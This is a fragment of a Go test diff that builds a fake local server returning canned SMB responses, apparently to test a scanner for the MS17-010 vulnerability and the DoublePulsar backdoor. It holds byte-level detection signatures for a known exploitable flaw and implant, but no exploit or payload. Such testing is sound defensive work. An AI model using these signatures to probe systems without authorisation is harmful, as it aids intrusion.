ln.Accept() + if err != nil { + return + } + defer conn.Close() + + responses := [][]byte{ + makeMS17010Response(36), + makeMS17010Response(sessionSetupSize), + makeMS17010Response(36), + makeMS17010Response(36), + } + if len(responses[1]) >= 34 { + responses[1][32] = 0x34 + responses[1][33] = 0x12 + } + responses[2][28] = 0x78 + responses[2][29] = 0x56 + if vulnerable { + responses[3][9] = 0x05 + responses[3][10] = 0x02 + responses[3][11] = 0x00 + responses[3][12] = 0xc0 + responses = append(responses, makeMS17010Response(36)) + if cfg.doublePulsar { + responses[4][34] = 0x51 + } + } + + buf := make([]byte, 4096) + for _, response := range responses { + _ = conn.SetDeadline(time.Now().Add(time.Second)) + if _, err := conn.Read(buf); err != nil { + return + } + if _, err := conn.Write(response); err != nil { + return + } + } + }() + + cleanup := func() { + _ = ln.Close() + select { + case <-done: + case <-time.After(time.Second): + t.Fatal("fake server did not exit") + } + } + + return ln.Addr().String(), cleanup +} + +func makeMS17010Response(size int) []byte { + resp := make([]byte, size) + if size >= 4 { + resp[3] = byte(size - 4) + } + return resp +}